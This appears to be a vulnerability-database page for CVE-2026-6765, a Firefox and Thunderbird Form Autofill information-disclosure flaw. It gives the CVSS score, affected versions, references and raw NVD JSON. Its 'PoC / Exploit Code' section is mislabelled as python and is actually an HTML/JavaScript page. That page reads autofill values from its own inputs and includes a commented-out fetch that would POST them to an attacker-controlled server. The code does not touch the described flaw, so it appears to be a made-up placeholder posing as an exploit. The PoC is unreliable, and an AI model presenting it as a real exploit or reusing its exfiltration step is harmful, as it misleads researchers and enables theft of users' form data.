CVE-2026-6765

Description

Information disclosure in the Form Autofill component. This vulnerability was fixed in Firefox 150, Firefox ESR 140.10, Thunderbird 150, and Thunderbird 140.10.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:* - VULNERABLE

cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:* - VULNERABLE

cpe:2.3:a:mozilla:thunderbird:*:*:*:*:esr:*:*:* - VULNERABLE

Mozilla Firefox < 150

Mozilla Firefox ESR < 140.10

Mozilla Thunderbird < 150

Mozilla Thunderbird < 140.10

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-6765 Information Disclosure -->
<!-- This PoC simulates reading autofill data -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-6765 PoC</title>
</head>
<body>
    <h1>Testing Autofill Information Disclosure</h1>
    <p>This page attempts to read autofill data.</p>
    
    <form id="exploitForm">
        <input type="text" name="fullname" autocomplete="name">
        <input type="tel" name="phone" autocomplete="tel">
    </form>

    <script>
        // Attempt to trigger the vulnerability
        window.onload = function() {
            try {
                const inputs = document.querySelectorAll('input');
                let leakedData = {};
                
                inputs.forEach(input => {
                    if(input.value) {
                        leakedData[input.name] = input.value;
                    }
                });

                if (Object.keys(leakedData).length > 0) {
                    console.log("[+] Potential Data Leak Detected:", leakedData);
                    // Simulate exfiltration
                    // fetch('https://attacker-controlled-server/log', {
                    //    method: 'POST',
                    //    body: JSON.stringify(leakedData)
                    // });
                    alert("Data leaked: " + JSON.stringify(leakedData));
                } else {
                    console.log("[-] No data leaked or exploit failed.");
                }
            } catch (error) {
                console.error("Exploit error:", error);
            }
        };
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-6765
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-6765
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-6765/
[4] VulDB https://vuldb.com/cve/CVE-2026-6765
[5] https://bugzilla.mozilla.org/show_bug.cgi?id=2022419
[6] https://www.mozilla.org/security/advisories/mfsa2026-30/
[7] https://www.mozilla.org/security/advisories/mfsa2026-32/
[8] https://www.mozilla.org/security/advisories/mfsa2026-33/
[9] https://www.mozilla.org/security/advisories/mfsa2026-34/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-6765", "sourceIdentifier": "[email protected]", "published": "2026-04-21T13:16:22.390", "lastModified": "2026-04-22T16:07:34.370", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Information disclosure in the Form Autofill component. This vulnerability was fixed in Firefox 150, Firefox ESR 140.10, Thunderbird 150, and Thunderbird 140.10."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-359"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:esr:*:*:*", "versionEndExcluding": "140.10.0", "matchCriteriaId": "15AF037C-5C86-48EB-B1DE-3AC100A34596"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:firefox:*:*:*:*:-:*:*:*", "versionEndExcluding": "150.0", "matchCriteriaId": "67B01D49-66FA-4C76-9EB4-2B8CD61FBEB2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mozilla:thunderbird:*:*:*:*:esr:*:*:*", "versionEndExcluding": "140.10.0", "matchCriteriaId": "48217E2F-FFD3-4385-B962-15365B293DA7"}]}]}], "references": [{"url": "https://bugzilla.mozilla.org/show_bug.cgi?id=2022419", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-30/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-32/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-33/", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mozilla.org/security/advisories/mfsa2026-34/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}